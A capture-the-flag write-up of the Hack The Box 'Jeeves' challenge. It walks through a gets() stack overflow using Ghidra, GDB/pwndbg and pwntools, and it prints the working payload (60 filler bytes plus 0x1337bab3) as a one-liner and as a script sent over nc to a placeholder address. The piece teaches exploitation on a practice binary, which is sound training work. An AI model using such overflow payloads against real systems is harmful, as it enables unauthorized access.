# Jeeves (Easy)

In 
Published 2023-09-08

# Synopsis

Today we take on a simple binary exploitation challenge from Hack The Box. In this post we are going to solve the Jeeves Pwn challenge from the Intro to Binary Exploitation track.

# Running the program

We start off by running the program normally. We are given a prompt asking for our name.

$ ./jeeves 
Hello, good sir!
May I have your name? bytebl33d
Hello bytebl33d, hope you have a good day! 

The program subsequently prints a greeting message back to us. Based on this response alone, we can assume that our input is stored somewhere in a buffer.

# Examining the binary with Ghidra

Let's decompile the binary using Ghidra so that we can better understand its inner workings. After importing the binary we can analyze the main function:

main(void){
  char input [44];
  int file;
  void *buffer;
  int check;
  
  check = -0x21523f2d;
  printf("Hello, good sir!\nMay I have your name? ");
  gets(input);
  printf("Hello %s, hope you have a good day!\n",input);
  if (check == 0x1337bab3) {
    buffer = malloc(0x100);
    file = open("flag.txt",0);
    read(file,buffer,0x100);
    printf("Pleased to make your acquaintance. Here\'s a small gift: %s\n",buffer);
    close(file);
  }
  return 0;
}

The user input is stored inside the input buffer with a size of 44 bytes. We also see there is a flag.txt file that gets opened after the if-statement that verfifies if the check variable is equal to the value 0x1337bab3 (or in other words 'leetbabe'). However, this check is never going to succeed because the check variable is initialized in a different way. We therefore need to find out how to overwrite this variable on the stack.

The assembly view in Ghidra shows this variable is given the hex value of 0xdeadc0d3 (since this is indeed just dead code).

ghidra
ghidra

# Examining the binary in GDB

Loading the binary into GDB and disassembling the main function we get the following output:

$ gdb jeeves

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000000011e9 <+0>: endbr64
   0x00000000000011ed <+4>: push   rbp
   0x00000000000011ee <+5>: mov    rbp,rsp
   0x00000000000011f1 <+8>: sub    rsp,0x40
   0x00000000000011f5 <+12>:    mov    DWORD PTR [rbp-0x4],0xdeadc0d3
   0x00000000000011fc <+19>:    lea    rdi,[rip+0xe05]        # 0x2008
   0x0000000000001203 <+26>:    mov    eax,0x0
   0x0000000000001208 <+31>:    call   0x10a0 <printf@plt>
   0x000000000000120d <+36>:    lea    rax,[rbp-0x40]
   0x0000000000001211 <+40>:    mov    rdi,rax
   0x0000000000001214 <+43>:    mov    eax,0x0
   0x0000000000001219 <+48>:    call   0x10d0 <gets@plt>
   0x000000000000121e <+53>:    lea    rax,[rbp-0x40]
   0x0000000000001222 <+57>:    mov    rsi,rax
   0x0000000000001225 <+60>:    lea    rdi,[rip+0xe04]        # 0x2030
   0x000000000000122c <+67>:    mov    eax,0x0
   0x0000000000001231 <+72>:    call   0x10a0 <printf@plt>

Our task is to figure out how many bytes we have to overflow the buffer in order to overwrite the check variable. Lets's set a breakpoint right after the gets call and run the program (just enter some A's as our input):

pwndbg> b *main+53
pwndbg> r

<SNIP>

*RBP  0x7fffffffdec0 ◂— 0x1
*RSP  0x7fffffffde80 ◂— 'AAAAAAAAAA'
*RIP  0x55555555521e (main+53) ◂— lea rax, [rbp - 0x40]
────────────────────────────────────[ DISASM / x86-64 / set emulate on ] ────────────────────────────────────────────────
 ► 0x55555555521e <main+53>     lea    rax, [rbp - 0x40]
   0x555555555222 <main+57>     mov    rsi, rax
   0x555555555225 <main+60>     lea    rdi, [rip + 0xe04]
   0x55555555522c <main+67>     mov    eax, 0
   0x555555555231 <main+72>     call   printf@plt              <printf@plt>
   0x555555555236 <main+77>     cmp    dword ptr [rbp - 4], 0x1337bab3
   0x55555555523d <main+84>     jne    main+191                <main+191>
   0x55555555523f <main+86>     mov    edi, 0x100
   0x555555555244 <main+91>     call   malloc@plt              <malloc@plt>
   0x555555555249 <main+96>     mov    qword ptr [rbp - 0x10], rax
   0x55555555524d <main+100>    mov    esi, 0

Looking at the RIP (Instruction Pointer) above, we can see that it is comparing dword ptr [rbp - 4] with 0x1337bab3. Let's have a look at the value of rbp-4 in GDB.

pwndbg> x/x $rbp-4 
0x7fffffffdebc: 0xdeadc0d3

To see what happens when we change this variable, we can try to change it using pwndbg and continue running the program. Pwndbg is just a handy GDB plug-in that makes debugging with GDB easier for reverse-engineering tasks.

pwndbg> set *0x7fffffffdebc = 0x1337bab3
pwndbg> x/x $rbp-4
0x7fffffffdebc: 0x1337bab3
pwndbg> c
Continuing.
Hello AAAAAAAAAA, hope you have a good day!
Pleased to make your acquaintance. Here's a small gift: 
[Inferior 1 (process 13162) exited normally]

Looking at the output we can see that if we are able to change the variable to 0x1337bab3, we receive a small gift. This is probably the flag we are looking for.

# The Exploitation

Using python3 we can find the offset by generating a pattern and running the program with this input. To make our lifes a bit easier, we can do this with the pwntools package as follows:

pwn cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

We run the program again with the created pattern and inspect rbp-4:

pwndbg> x/x $rbp-4 
0x7fffffffdebc: 0x61616170      # this is paaa in ASCII

We see that the variable now gets overwritting with paaa. Finding the offset is as easy as just using the cyclic_find function from pwntools:

$ python3
>>> from pwn import *
>>> cyclic(100)
>>> cyclic_find('paaa')
>>> 60

So our final payload will be: A*60 + 0x1337bab3.

# Crafting our payload

Now we have all the information to craft our payload.

from pwn import *

check = p64(0x1337bab3)
payload = b"A"*60 + check

print(payload)

Or we can run it directly in GDB to test our payload first:

pwndbg> r <<< $(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*60 + b"\xb3\xba\x37\x13")')

# Executing our payload on the target

Here we will show 2 ways of executing our payload. The first method is a manual approach, while the other is a more automated way using pwntools.

# Method 1 (manual)

nc <IP_ADDRESS> <PORT> <<< $(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*60 + b"\xb3\xba\x37\x13")')

# Method 2 (pwntools)

from pwn import *

target = process(b"nc")
target.sendline(b"<IP_ADDRESS> <PORT>")

payload = b"A"*60
payload += p64(0x1337bab3)

target.sendline(payload)

print(target.recvuntil(b"}"))

Running our exploit code:

$ python3 exploit.py
[+] Starting local process '/usr/bin/nc': pid 20136
b"Cmd line: Hello, good sir!
May I have your name? Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb3\xba7\x13, hope you have a good day!
Pleased to make your acquaintance. Here's a small gift: HTB{w3*****************!}"
[*] Process '/usr/bin/nc' stopped with exit code 0 (pid 20136)

After running our exploit, we indeed get the flag back. We have successfully completed our first pwn challenge in the Intro to Binary Exploitation track.